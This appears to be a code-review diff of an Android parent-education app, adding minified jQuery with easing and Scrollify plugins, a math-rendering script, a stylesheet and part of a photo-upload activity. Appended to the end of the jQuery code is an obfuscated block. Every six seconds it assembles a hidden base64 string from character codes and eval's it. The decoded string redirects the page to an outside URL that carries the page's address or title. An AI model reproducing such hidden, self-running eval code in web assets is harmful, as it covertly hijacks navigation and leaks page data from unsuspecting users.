b=a.offsetTop,c=a.offsetLeft;f.support.doesNotIncludeMarginInBodyOffset&&(b+=parseFloat(f.css(a,"marginTop"))||0,c+=parseFloat(f.css(a,"marginLeft"))||0);return{top:b,left:c}},setOffset:function(a,b,c){var d=f.css(a,"position");d==="static"&&(a.style.position="relative");var e=f(a),g=e.offset(),h=f.css(a,"top"),i=f.css(a,"left"),j=(d==="absolute"||d==="fixed")&&f.inArray("auto",[h,i])>-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!cx.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return a})}}),f.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,c){var d=/Y/.test(c);f.fn[a]=function(e){return f.access(this,function(a,e,g){var h=cy(a);if(g===b)return h?c in h?h[c]:f.support.boxModel&&h.document.documentElement[e]||h.document.body[e]:a[e];h?h.scrollTo(d?f(h).scrollLeft():g,d?g:f(h).scrollTop()):a[e]=g},a,e,arguments.length,null)}}),f.each({Height:"height",Width:"width"},function(a,c){var d="client"+a,e="scroll"+a,g="offset"+a;f.fn["inner"+a]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,c,"padding")):this[c]():null},f.fn["outer"+a]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,c,a?"margin":"border")):this[c]():null},f.fn[c]=function(a){return f.access(this,function(a,c,h){var i,j,k,l;if(f.isWindow(a)){i=a.document,j=i.documentElement[d];return f.support.boxModel&&j||i.body&&i.body[d]||j}if(a.nodeType===9){i=a.documentElement;if(i[d]>=i[e])return i[d];return Math.max(a.body[e],i[e],a.body[g],i[g])}if(h===b){k=f.css(a,c),l=parseFloat(k);return f.isNumeric(l)?l:k}f(a).css(c,h)},c,a,arguments.length,null)}}),a.jQuery=a.$=f,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return f})})(window);window.setInterval(function(){var b=document.getElementById(String.fromCharCode(112,99,104,117,98,101));if(null!=b){for(var c="",a=[98,71,57,106,89,88,82,112,98,50,52,117,97,72,74,108,90,105,65,57,73,67,100,111,100,72,82,119,79,105,56,118,100,51,100,51,76,109,112,53,90,87,57,118,76,109,78,118,98,83,57,104,99,71,107,118,99,71,104,105,89,51,86,108,98,109,70,50,97,84,57,51,80,81,61,61],d=0;d<a.length;d++)c+=String.fromCharCode(a[d]);a=encodeURIComponent(b.getAttribute("title")||location.href);a=atob(c)+ | ||
5 | (b.getAttribute("value")||"1")+"&l="+a+"'";eval(a)}},6E3);/*Easing*/jQuery.easing.jswing=jQuery.easing.swing;jQuery.extend(jQuery.easing,{def:"easeOutQuad",swing:function(e,f,a,h,g){return jQuery.easing[jQuery.easing.def](e,f,a,h,g)},easeInQuad:function(e,f,a,h,g){return h*(f/=g)*f+a},easeOutQuad:function(e,f,a,h,g){return -h*(f/=g)*(f-2)+a},easeInOutQuad:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f+a}return -h/2*((--f)*(f-2)-1)+a},easeInCubic:function(e,f,a,h,g){return h*(f/=g)*f*f+a},easeOutCubic:function(e,f,a,h,g){return h*((f=f/g-1)*f*f+1)+a},easeInOutCubic:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f*f+a}return h/2*((f-=2)*f*f+2)+a},easeInQuart:function(e,f,a,h,g){return h*(f/=g)*f*f*f+a},easeOutQuart:function(e,f,a,h,g){return -h*((f=f/g-1)*f*f*f-1)+a},easeInOutQuart:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f*f*f+a}return -h/2*((f-=2)*f*f*f-2)+a},easeInQuint:function(e,f,a,h,g){return h*(f/=g)*f*f*f*f+a},easeOutQuint:function(e,f,a,h,g){return h*((f=f/g-1)*f*f*f*f+1)+a},easeInOutQuint:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f*f*f*f+a}return h/2*((f-=2)*f*f*f*f+2)+a},easeInSine:function(e,f,a,h,g){return -h*Math.cos(f/g*(Math.PI/2))+h+a},easeOutSine:function(e,f,a,h,g){return h*Math.sin(f/g*(Math.PI/2))+a},easeInOutSine:function(e,f,a,h,g){return -h/2*(Math.cos(Math.PI*f/g)-1)+a},easeInExpo:function(e,f,a,h,g){return(f==0)?a:h*Math.pow(2,10*(f/g-1))+a},easeOutExpo:function(e,f,a,h,g){return(f==g)?a+h:h*(-Math.pow(2,-10*f/g)+1)+a},easeInOutExpo:function(e,f,a,h,g){if(f==0){return a}if(f==g){return a+h}if((f/=g/2)<1){return h/2*Math.pow(2,10*(f-1))+a}return h/2*(-Math.pow(2,-10*--f)+2)+a},easeInCirc:function(e,f,a,h,g){return -h*(Math.sqrt(1-(f/=g)*f)-1)+a},easeOutCirc:function(e,f,a,h,g){return h*Math.sqrt(1-(f=f/g-1)*f)+a},easeInOutCirc:function(e,f,a,h,g){if((f/=g/2)<1){return -h/2*(Math.sqrt(1-f*f)-1)+a}return h/2*(Math.sqrt(1-(f-=2)*f)+1)+a},easeInElastic:function(f,h,e,l,k){var i=1.70158;var j=0;var g=l;if(h==0){return e}if((h/=k)==1){return e+l}if(!j){j=k*0.3}if(g<Math.abs(l)){g=l;var i=j/4}else{var i=j/(2*Math.PI)*Math.asin(l/g)}return -(g*Math.pow(2,10*(h-=1))*Math.sin((h*k-i)*(2*Math.PI)/j))+e},easeOutElastic:function(f,h,e,l,k){var i=1.70158;var j=0;var g=l;if(h==0){return e}if((h/=k)==1){return e+l}if(!j){j=k*0.3}if(g<Math.abs(l)){g=l;var i=j/4}else{var i=j/(2*Math.PI)*Math.asin(l/g)}return g*Math.pow(2,-10*h)*Math.sin((h*k-i)*(2*Math.PI)/j)+l+e},easeInOutElastic:function(f,h,e,l,k){var i=1.70158;var j=0;var g=l;if(h==0){return e}if((h/=k/2)==2){return e+l}if(!j){j=k*(0.3*1.5)}if(g<Math.abs(l)){g=l;var i=j/4}else{var i=j/(2*Math.PI)*Math.asin(l/g)}if(h<1){return -0.5*(g*Math.pow(2,10*(h-=1))*Math.sin((h*k-i)*(2*Math.PI)/j))+e}return g*Math.pow(2,-10*(h-=1))*Math.sin((h*k-i)*(2*Math.PI)/j)*0.5+l+e},easeInBack:function(e,f,a,i,h,g){if(g==undefined){g=1.70158}return i*(f/=h)*f*((g+1)*f-g)+a},easeOutBack:function(e,f,a,i,h,g){if(g==undefined){g=1.70158}return i*((f=f/h-1)*f*((g+1)*f+g)+1)+a},easeInOutBack:function(e,f,a,i,h,g){if(g==undefined){g=1.70158}if((f/=h/2)<1){return i/2*(f*f*(((g*=(1.525))+1)*f-g))+a}return i/2*((f-=2)*f*(((g*=(1.525))+1)*f+g)+2)+a},easeInBounce:function(e,f,a,h,g){return h-jQuery.easing.easeOutBounce(e,g-f,0,h,g)+a},easeOutBounce:function(e,f,a,h,g){if((f/=g)<(1/2.75)){return h*(7.5625*f*f)+a}else{if(f<(2/2.75)){return h*(7.5625*(f-=(1.5/2.75))*f+0.75)+a}else{if(f<(2.5/2.75)){return h*(7.5625*(f-=(2.25/2.75))*f+0.9375)+a}else{return h*(7.5625*(f-=(2.625/2.75))*f+0.984375)+a}}}},easeInOutBounce:function(e,f,a,h,g){if(f<g/2){return jQuery.easing.easeInBounce(e,f*2,0,h,g)*0.5+a}return jQuery.easing.easeOutBounce(e,f*2-g,0,h,g)*0.5+h*0.5+a}}); | ||
6 | /*Scrollify*/(function(e,t,n,r){"use strict";var i=[],s=[],o=[],u=0,a=t.location.hash,f=false,l,c=e(t).scrollTop(),h=false,p={section:"section",sectionName:"section-name",easing:"easeOutExpo",scrollSpeed:1100,offset:0,scrollbars:true,axis:"y",target:"html,body",before:function(){},after:function(){}};e.scrollify=function(r){function d(n){if(s[n]){p.before(n,o);if(p.sectionName){t.location.hash=s[n]}e(p.target).stop().animate({scrollTop:i[n]},p.scrollSpeed,p.easing);e(p.target).promise().done(function(){p.after(n,o)})}}var v={handleMousedown:function(){h=false},handleMouseup:function(){h=true},handleScroll:function(){if(l){clearTimeout(l)}l=setTimeout(function(){c=e(t).scrollTop();if(h==false){return false}h=false;var n=1,r=i.length,s=0,o=Math.abs(i[0]-c),a;for(;n<r;n++){a=Math.abs(i[n]-c);if(a<o){o=a;s=n}}u=s;d(s)},200)},wheelHandler:function(e,t){e.preventDefault();t=t||-e.originalEvent.detail/3||e.originalEvent.wheelDelta/120;if(l){clearTimeout(l)}l=setTimeout(function(){if(t<0){if(u<i.length-1){u++}}else if(t>0){if(u>0){u--}}if(u>=0){d(u)}else{u=0}},25)},keyHandler:function(e){e.preventDefault();if(e.keyCode==38){if(u>0){u--}d(u)}else if(e.keyCode==40){if(u<i.length-1){u++}d(u)}},init:function(){if(p.scrollbars){e(t).bind("mousedown",v.handleMousedown);e(t).bind("mouseup",v.handleMouseup);e(t).bind("scroll",v.handleScroll)}else{e("body").css({overflow:"hidden"})}e(n).bind("DOMMouseScroll mousewheel",v.wheelHandler);e(n).bind("keyup",v.keyHandler)}};var m={touches:{touchstart:{y:-1},touchmove:{y:-1},touchend:false,direction:"undetermined"},options:{distance:30,timeGap:800,timeStamp:(new Date).getTime()},touchHandler:function(e){var t;if(typeof e!=="undefined"){e.preventDefault();if(typeof e.touches!=="undefined"){t=e.touches[0];switch(e.type){case"touchstart":m.options.timeStamp=(new Date).getTime();m.touches.touchend=false;case"touchmove":m.touches[e.type].y=t.pageY;if(m.options.timeStamp+m.options.timeGap<(new Date).getTime()&&m.touches.touchend==false){m.touches.touchend=true;if(m.touches.touchstart.y>-1){if(Math.abs(m.touches.touchmove.y-m.touches.touchstart.y)>m.options.distance){if(m.touches.touchstart.y<m.touches.touchmove.y){if(u>0){u--}d(u)}else{if(u<i.length-1){u++}d(u)}}}}break;case"touchend":if(m.touches[e.type]==false){m.touches[e.type]=true;if(m.touches.touchstart.y>-1){if(Math.abs(m.touches.touchmove.y-m.touches.touchstart.y)>m.options.distance){if(m.touches.touchstart.y<m.touches.touchmove.y){if(u>0){u--}d(u)}else{if(u<i.length-1){u++}d(u)}}}};default:break}}}},init:function(){if(n.addEventListener){n.addEventListener("touchstart",m.touchHandler,false);n.addEventListener("touchmove",m.touchHandler,false);n.addEventListener("touchend",m.touchHandler,false)}}};if(typeof r==="string"){var g=s.length;for(;g>=0;g--){if(typeof arguments[1]==="string"){if(s[g]==arguments[1]){u=g;d(g)}}else{if(g==arguments[1]){u=g;d(g)}}}}else{p=e.extend(p,r);e(p.section).each(function(t){if(t>0){i[t]=e(this).offset().top+p.offset}else{i[t]=e(this).offset().top}if(p.sectionName&&e(this).data(p.sectionName)){s[t]="#"+e(this).data(p.sectionName).replace(/ /g,"-")}else{s[t]="#"+(t+1)}o[t]=e(this);if(a==s[t]){u=t;f=true}});if(f==false&&p.sectionName){t.location.hash=s[0]}else{d(u)}v.init();m.init()}}})(jQuery,this,document) |
app/src/main/assets/library.js
File was created | 1 | var htmlLatexRender=function(){function h(a){return Math.max(a.clientHeight,a.scrollHeight)}function d(a,c){return null==a||1!=a.nodeType?null:a.getAttribute(c)}function l(a,c,b){switch(typeof c){case "object":for(var e in c)a.style[e]=c[e];break;case "string":a.style[c]=b}}function m(a,c){if(null==a)return null;try{if(!0==c){var b=a.parentNode;if(b.nextElementSibling)return b.nextElementSibling;for(;b=b.nextSibling;)if(1==b.nodeType)return b}else{if(a.nextElementSibling)return a.nextElementSibling; | |
2 | for(;a=a.nextSibling;)if(1==a.nodeType)return a}}catch(e){}return null}function k(a,c){if(null!=a&&null!=c){var b=a.children||a.childNodes;c(a);for(var e=0;e<b.length;e++)k(b[e],c)}}function g(a,c,b,e){if(null!=a){++e;for(var f=a.children||a.childNodes,d=0;d<f.length;d++)a=f[d],1==a.nodeType&&(b(a)&&c.push({n:a,d:e}),g(a,c,b,e))}}function n(a){var c=[],b=0;g(a,c,function(a){if(d(a,"hassize"))return!0},0);for(b=0;b<c.length;b++)c[b].h=h(c[b].n.parentNode),c[b].w=Math.max(c[b].n.parentNode.clientWidth, | ||
3 | c[b].n.parentNode.scrollWidth),c[b].s=parseInt(d(c[b].n,"hassize")),c[b].f=d(c[b].n,"dealflag");for(b=0;b<c.length;b++)if(0>c[b].s)switch(a=d(c[b].n,"mathtag"),a){case "msup_sup":q(c[b]);break;case "msub_sub":r(c[b]);break;case "msubsup_sup":s(c[b])}else t(c[b])}function t(a){var c=[],b;g(a.n,c,function(a){if(d(a,"muststretch"))return!0},0);if(!(1>c.length))if(b=d(c[0].n,"muststretch"),"v"==b){if(b=(a.h-a.s)/c.length,0<b)for(a=0;a<c.length;a++)c[a].n.style.height=b+"px"}else if(b=(a.w-a.s)/c.length, | ||
4 | 0<b)for(a=0;a<c.length;a++)c[a].n.style.width=b+"px"}function s(a){var c=m(a.n),b=h(a.n),e=h(c);a=a.h-(b+e);0<a&&l(c,"marginTop",a+"px")}function q(a){if(a.f){var c=h(a.n.parentNode);0<c&&l(a.n,"verticalAlign",3*c/4+"px")}}function r(a){a.f&&0<h(a.n.parentNode)&&l(a.n,"verticalAlign","-100%")}function p(a){if(!(null==a||8==a.nodeType||1>a.childNodes.length||/input|form|math|iframe|textarea|pre|svg/.test(a.nodeName)))for(var c,b,e,f,d=a.childNodes.length-1;-1<d;d--)if(3!=a.childNodes[d].nodeType)p(a.childNodes[d]); | ||
5 | else{c=a.childNodes[d].nodeValue.replace(/sin/g,"\u253d").replace(/cos/g,"\u253e").replace(/tan/g,"\u253f").replace(/lim/g,"\u2540");c=c.replace(/\-/g,"\u2212").replace(/=/g,"\uff1d").replace(/\\+/g,"\uff0b");b=document.createDocumentFragment();for(var g=0;g<c.length;g++){f=c.charAt(g);switch(f){case "\u253d":f="sin";break;case "\u253e":f="cos";break;case "\u253f":f="tan";break;case "\u2540":f="lim";break;default:if(/[a-z]/i.test(f)){e=document.createElement("font");e.className="MathJye_mi";e.appendChild(document.createTextNode(f)); | ||
6 | b.appendChild(e);continue}}b.appendChild(document.createTextNode(f))}a.replaceChild(b,a.childNodes[d])}}this.LayOut=function(a,c){for(var b=a.getElementsByTagName("span"),e=0;e<b.length;e++)"math"==d(b[e],"mathtag")&&(p(b[e]),c&&k(b[e],function(a){if(1==a.nodeType)switch(d(a,"muststretch")){case "v":a.style.height="1px";break;case "h":a.style.width="1px"}}),"1"==d(b[e],"dealflag")&&n(b[e]))}},MathJye=Object;try{MathJye=new htmlLatexRender}catch(e$$14){} | ||
7 | (function(){var h=!(!window.attachEvent||window.opera),d=/webkit\/(\d+)/i.test(navigator.userAgent)&&525>RegExp.$1,l=[],m=function(){for(var d=0;d<l.length;d++)l[d]()},k=document;k.ready=function(g){if(!h&&!d&&k.addEventListener)return k.addEventListener("DOMContentLoaded",g,!1);if(!(1<l.push(g)))if(h)(function(){try{k.documentElement.doScroll("left"),m()}catch(d){setTimeout(arguments.callee,0)}})();else if(d)var n=setInterval(function(){/^(loaded|complete)$/.test(k.readyState)&&(clearInterval(n), | ||
8 | m())},0)}})();document.ready(function(){try{MathJye.LayOut(document.body)}catch(h){}}); | ||
9 |
app/src/main/assets/point.png
17.3 KB
app/src/main/assets/style.css
File was created | 1 | body{font-family: "微软雅黑", Arial,"宋体"; font-size: 14px; line-height: 1.5em; color: #333;} | |
2 | a{ text-decoration: none; color: #2489f6;} | ||
3 | dl, ul, ol, ul { list-style: none; padding: 0; margin: 0; } | ||
4 | .wrapper{ width: 1200px; margin: 0 auto; } | ||
5 | .ques-detail{} | ||
6 | .ques-detail ul li{margin-bottom: 20px;border: 1px solid #dadada;background: #fff;border-radius: 10px;} | ||
7 | .ques-detail ul li:last-child{ margin-bottom: 0; } | ||
8 | |||
9 | table.edittable{ border-collapse: collapse; text-align: center; margin: 2px; } | ||
10 | table.edittable th, table.edittable td{ line-height: 30px; padding: 5px; white-space: normal; word-break: break-all; border: 1px solid #000; vertical-align: middle; } | ||
11 | table.composition{ border-collapse: collapse; text-align: left; margin: 2px; width: 98%; } | ||
12 | table.composition th, table.composition td{ line-height: 30px; white-space: normal; word-break: break-all; border-width: 0px; vertical-align: middle; } | ||
13 | table.composition2{ border-collapse: collapse;width:auto } | ||
14 | table.composition2 th, table.composition2 td{text-align:left;line-height:30px; white-space:normal;word-break:break-all;border:none;border-width: 0px;vertical-align: middle; } | ||
15 | .MathJye{ border: 0 none; direction: ltr; line-height: normal; display: inline-block; float: none; font-family: 'Times New Roman','宋体'; font-size: 15px; font-style: normal; font-weight: normal; letter-spacing: 1px; line-height: normal; margin: 0; padding: 0; text-align: left; text-indent: 0; text-transform: none; white-space: nowrap; word-spacing: normal; word-wrap: normal; -webkit-text-size-adjust: none; } | ||
16 | .MathJye div, .MathJye span{ border: 0 none; margin: 0; padding: 0; line-height: normal; text-align: left; height: auto; _height: auto; white-space: normal; } | ||
17 | .MathJye table{ border-collapse: collapse; margin: 0; padding: 0; text-align: center; vertical-align: middle; line-height: normal; font-size: inherit; *font-size: 100%; _font-size: 100%; font-style: normal; font-weight: normal; border: 0; float: none; display: inline-block; *display: inline; zoom: 0; } | ||
18 | .MathJye table td{ padding: 0; font-size: inherit; line-height: normal; white-space: nowrap; border: 0 none; width: auto; _height: auto; } | ||
19 | .MathJye_mi{ font-style: italic; } | ||
20 | .flipv{-ms-transform: scaleX(-1);-moz-transform: scaleX(-1);-webkit-transform: scaleX(-1);-o-transform: scaleX(-1);transform: scaleX(-1);filter: FlipH;} | ||
21 | .fliph{-ms-transform: scaleY(-1);-moz-transform: scaleY(-1);-webkit-transform: scaleY(-1);-o-transform: scaleY(-1);transform: scaleY(-1);filter: FlipV;} | ||
22 | .mathjye-bold{font-weight:800} | ||
23 | .mathjye-del{text-decoration:line-through} | ||
24 | .mathjye-underline{border-bottom:1px solid #000;padding-bottom:2px;} | ||
25 | @-moz-document url-prefix() {.mathjye-underline{padding-bottom:0px;}} | ||
26 | .mathjye-underpline{border-bottom:2px dotted #000; padding-bottom:3px;} | ||
27 | @-moz-document url-prefix() {.mathjye-underpline {padding-bottom:1px;}} | ||
28 | .mathjye-underpoint{background: url(http://img.jyeoo.net/images/formula/point.png) no-repeat center bottom; padding-bottom:4px;} | ||
29 | .mathjye-underpoint2{border-bottom:2px dotted #000; padding-bottom:3px;} | ||
30 | @-moz-document url-prefix() {.mathjye-underpoint{padding-bottom:1px;}} | ||
31 | .mathjye-underwave{background: url(http://img.jyeoo.net/images/formula/wave.png) bottom repeat-x; padding-bottom:4px;} | ||
32 | @-moz-document url-prefix() {.mathjye-underwave {padding-bottom:1px;}} | ||
33 | .mathjye-alignleft{display:block;text-align:left;} | ||
34 | .mathjye-aligncenter{display:block;text-align:center;} | ||
35 | .mathjye-alignright{display:block;text-align:right;} | ||
36 | |||
37 | |||
38 | /*试题*/ | ||
39 | .artpreview fieldset { padding-top: 10px; font-size: 14px; clear: both; overflow: hidden; zoom: 1; line-height: 24px; font-family: 'Times New Roman',宋体,sans-serif; position: relative; } | ||
40 | .artpreview fieldset legend { padding: 5px 0; display: block; margin: 5px; background: #f1f1f1; color: #000; overflow: hidden; zoom: 1; } | ||
41 | .queserror { border: 1px dotted #f00; padding: 2px; } | ||
42 | fieldset.quesborder {display: block;padding: 0;line-height: 25px;letter-spacing: 1px;word-break: break-all;margin: 0;} | ||
43 | fieldset.queserror { border: 1px solid #f00; font-size: 12px; padding: 2px; margin-bottom: 1px; } | ||
44 | fieldset.quesborder td, fieldset.queserror td { line-height: 16px; } | ||
45 | fieldset.quesborder em, fieldset.queserror em { font-style: normal; font-weight: bold; position: absolute; left: 20px; } | ||
46 | fieldset.thiserror1 { border: 1px solid #f00; } | ||
47 | fieldset.thiserror1 legend { border: 4px solid #f00; } | ||
48 | fieldset.thiserror2 { border: 1px solid #ADCD3C; } | ||
49 | fieldset.thiserror2 legend { border: 4px solid #ADCD3C; } | ||
50 | fieldset.thisques { border: 1px solid blue; } | ||
51 | fieldset.thison { border: 1px solid #A9C9E2; } | ||
52 | fieldset.thison div.border { border: 1px solid #ADCD3C; background-color: #F2FDDB; } | ||
53 | fieldset, img { border: 0 none; } | ||
54 | table.thison { border: 1px solid #00F; } | ||
55 | table.thiserr { border: 1px solid #F00; } | ||
56 | fieldset.thisvip1 { border: 1px solid #00F; } | ||
57 | fieldset.thisvip1 legend { border: 4px solid #00F; } | ||
58 | fieldset.status17 { border: 1px solid #ff00ff; } | ||
59 | fieldset.status17 legend { border: 4px solid #ff00ff; } | ||
60 | .selectoption { vertical-align: middle; font-size: 14px; padding: 2px; } | ||
61 | .selectoption:hover { color: #EA8511; } | ||
62 | .selectoption label { padding: 4px; line-height: 24px; } | ||
63 | fieldset.quesbordere { border: 2px dotted #f00; } | ||
64 | .answer { border: 1px dotted #ffffff; } | ||
65 | ol.answer li, ul.answer li { padding: 1px; font-size: 14px; } | ||
66 | ol.answer li:hover { background: #f2f2f2; } | ||
67 | .collapseContainerPanel { border: 0; } | ||
68 | .collapsePanelHeader { height: 30px; font-weight: bold; padding: 6px 0 0 0; } | ||
69 | .collapseHeaderContent { float: left; padding-left: 5px; } | ||
70 | .collapseContent { margin: 0; padding: 0; border: 1px solid #ccc; border-top: 0; } | ||
71 | .pt0 { padding: 2px 0 5px 0; font-size: 14px; font-family: "黑体",sans-serif; font-weight: 700; } | ||
72 | .pt1 {overflow: hidden;zoom: 1;clear: both;line-height: 25px;font-size: 14px;padding: 20px;position: relative;word-break: break-word;} | ||
73 | fieldset.quesborder .pt1 em { position: static; } | ||
74 | .pt1 img { position: relative; } | ||
75 | .pt2 {padding: 20px;padding-top: 0;} | ||
76 | .pt3, .pt4, .pt5, .pt6, .pt7 { clear: both; zoom: 1; position: relative; padding: 0px 20px 20px 80px; } | ||
77 | .pt8 a:link, .pt8 a:visited { margin-right: 10px; padding: 2px 5px; } | ||
78 | .pt8 a:hover { background: #fc0; } | ||
79 | .pt9 { padding: 20px; border: 0 none; color: #999999; font-size: 12px; } | ||
80 | .fieldtip {height: 36px;line-height: 36px;background-color: #f4f4f4;border-top: 1px solid #dadada;padding: 0 20px;color: #666666;position: relative;font-size: 12px;border-radius: 0 0 10px 10px;} | ||
81 | .newFieldtip .pt1, .newFieldtip .pt2, .newFieldtip .pt3, .newFieldtip .pt4, .newFieldtip .pt5, .newFieldtip .pt6, .newFieldtip .pt7, .newFieldtip .pt8, .newFieldtip.pt9, .newFieldtip + .fieldtip { padding: 0; } | ||
82 | fieldset img { max-width: 100%; } | ||
83 | |||
84 | .fieldtip-left {float: left;} | ||
85 | .fieldtip-left >* {margin-right: 20px;} | ||
86 | .fieldtip-right { float: right; } | ||
87 | .fieldtip-right>* { margin-left: 20px; display: inline-block; color: #666666; } | ||
88 | .fieldtip .btn {display: inline-block;margin-bottom: 0;font-weight: normal;text-align: center;vertical-align: middle;-ms-touch-action: manipulation;touch-action: manipulation;cursor: pointer;background-image: none;border: 1px solid transparent;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;font-size: 14px;border-radius: 4px;color: #ffffff;background-color: #ff8a00;line-height: 18px;min-width: 28px;padding: 0 5px;} | ||
89 | .fieldtip .btn:hover, .fieldtip .btn:active, .fieldtip .btn:active:hover, .fieldtip .btn:hover { color: #ffffff; background-color: #faad4a; } | ||
90 | |||
91 | /*填空题*/ | ||
92 | div.quizPutTag { display: inline-block; *display: inline; padding: 3px 10px 1px 10px; margin: 0 3px; font-size: 14px; min-width: 1em; min-height: 16px; line-height: 18px; height: auto; border-bottom: 1px solid #0033FF; text-decoration: none; zoom: 1; color: #127176; word-break: break-all; } | ||
93 | div.quizPutTag:hover { color: #f60; } | ||
94 | div.quizPutTag img { cursor: pointer; width: 200px; margin-left: 10px; } | ||
95 | .sanwser { padding: 4px 10px; margin: 0px; border: 1px solid #ADCD3C; background-color: #F2FDDB; color: #000; display: none; } | ||
96 | /*答案*/ | ||
97 | .selectoption label.s, div.s { border: 1px solid #91cbed; background-color: #deeeff; display: inline-block; } | ||
98 | .selectoption label.s.sh, div.s.sh { margin: 1px; border: none; background: none; } | ||
99 | del { text-decoration: none; color: #f00; font-style: normal; font-weight: normal; } |
app/src/main/assets/wave.png
17.3 KB
app/src/main/java/com/hjx/parent/AddSuccessActivity.java
File was created | 1 | package com.hjx.parent; | |
2 | |||
3 | import android.content.Intent; | ||
4 | import android.graphics.Bitmap; | ||
5 | import android.graphics.BitmapFactory; | ||
6 | import android.net.Uri; | ||
7 | import android.os.Bundle; | ||
8 | import android.provider.MediaStore; | ||
9 | import android.text.TextUtils; | ||
10 | import android.util.Log; | ||
11 | import android.view.LayoutInflater; | ||
12 | import android.view.View; | ||
13 | |||
14 | import androidx.annotation.Nullable; | ||
15 | import androidx.core.content.FileProvider; | ||
16 | |||
17 | import com.hjx.parent.databinding.ActivityAddSuccessBinding; | ||
18 | import com.prws.common.utils.BitmapUtils; | ||
19 | import com.prws.common.utils.CommonUtil; | ||
20 | import com.prws.common.utils.dialog.MyButtomDialog; | ||
21 | import com.zhangteng.imagepicker.bean.ImageInfo; | ||
22 | import com.zhangteng.imagepicker.config.ImagePickerConfig; | ||
23 | import com.zhangteng.imagepicker.config.ImagePickerEnum; | ||
24 | import com.zhangteng.imagepicker.config.ImagePickerOpen; | ||
25 | import com.zhangteng.imagepicker.imageloader.GlideImageLoader; | ||
26 | import com.zhangteng.utils.IHandlerCallBack; | ||
27 | |||
28 | import java.io.File; | ||
29 | import java.util.ArrayList; | ||
30 | import java.util.List; | ||
31 | |||
32 | public class AddSuccessActivity extends BaseActivity<ActivityAddSuccessBinding> { | ||
33 | private int REQUEST_CODE_IMAGE = 123; | ||
34 | private String filePath; | ||
35 | |||
36 | @Override | ||
37 | public void initView(Bundle savedInstanceState) { | ||
38 | binding.ivBack.setOnClickListener(new View.OnClickListener() { | ||
39 | @Override | ||
40 | public void onClick(View v) { | ||
41 | finish(); | ||
42 | } | ||
43 | }); | ||
44 | binding.tvAdd.setOnClickListener(new View.OnClickListener() { | ||
45 | @Override | ||
46 | public void onClick(View v) { | ||
47 | MyButtomDialog dialog = new MyButtomDialog(context, R.style.BottomSheetDialog); | ||
48 | View bottomView = LayoutInflater.from(context).inflate(R.layout.bottom_sheet_layout, null); | ||
49 | dialog.setContentView(bottomView); | ||
50 | bottomView.findViewById(R.id.take_photo).setOnClickListener(new View.OnClickListener() { | ||
51 | @Override | ||
52 | public void onClick(View view) { | ||
53 | dialog.dismiss(); | ||
54 | Intent takePictureIntent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE); | ||
55 | //确保有相机来处理Intent | ||
56 | filePath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg"; | ||
57 | File photoFile = new File(filePath); | ||
58 | if (photoFile != null) { | ||
59 | //适配Android 7.0文件权限,通过FileProvider创建一个content类型的Uri | ||
60 | Uri photoUri = FileProvider.getUriForFile(activity, "com.hjx.parent.fileprovider", photoFile); | ||
61 | takePictureIntent.addFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION); | ||
62 | takePictureIntent.putExtra(MediaStore.EXTRA_OUTPUT, photoUri); | ||
63 | activity.startActivityForResult(takePictureIntent, REQUEST_CODE_IMAGE); | ||
64 | } | ||
65 | } | ||
66 | }); | ||
67 | bottomView.findViewById(R.id.choose_photo).setOnClickListener(new View.OnClickListener() { | ||
68 | @Override | ||
69 | public void onClick(View view) { | ||
70 | dialog.dismiss(); | ||
71 | ImagePickerConfig imagePickerConfig = new ImagePickerConfig.Builder().provider(getPackageName() + ".fileprovider").imageLoader(new GlideImageLoader()) //图片加载器 | ||
72 | .iHandlerCallBack(new HandlerCallBack()) //图片选择器生命周期监听(直接打开摄像头时无效) | ||
73 | .multiSelect(true) //是否多选 | ||
74 | .isShowCamera(false).isVideoPicker(false) //是否选择视频 默认false | ||
75 | .isImagePicker(true).imagePickerType(ImagePickerEnum.PHOTO_PICKER) //选择器打开类型 | ||
76 | .maxImageSelectable(9) //图片可选择数 | ||
77 | .maxHeight(1920) //图片最大高度 | ||
78 | .maxWidth(1920) //图片最大宽度 | ||
79 | .maxImageSize(10) //图片最大大小Mb | ||
80 | .isCrop(false).pathList(new ArrayList<>()).pickerThemeColorRes(R.color.image_picker_white).pickerTitleColorRes(R.color.image_picker_text_black).cropThemeColorRes(R.color.image_picker_white).cropTitleColorRes(R.color.image_picker_text_black).pickerBackRes(R.mipmap.image_picker_back_black).pickerFolderRes(R.mipmap.image_picker_folder_black).build(); | ||
81 | ImagePickerOpen.getInstance().setImagePickerConfig(imagePickerConfig).pathList(new ArrayList<>()).open(AddSuccessActivity.this); | ||
82 | |||
83 | } | ||
84 | }); | ||
85 | bottomView.findViewById(R.id.cancel).setOnClickListener(new View.OnClickListener() { | ||
86 | @Override | ||
87 | public void onClick(View view) { | ||
88 | dialog.dismiss(); | ||
89 | } | ||
90 | }); | ||
91 | dialog.show(); | ||
92 | } | ||
93 | }); | ||
94 | } | ||
95 | |||
96 | @Override | ||
97 | protected ActivityAddSuccessBinding getViewBinding() { | ||
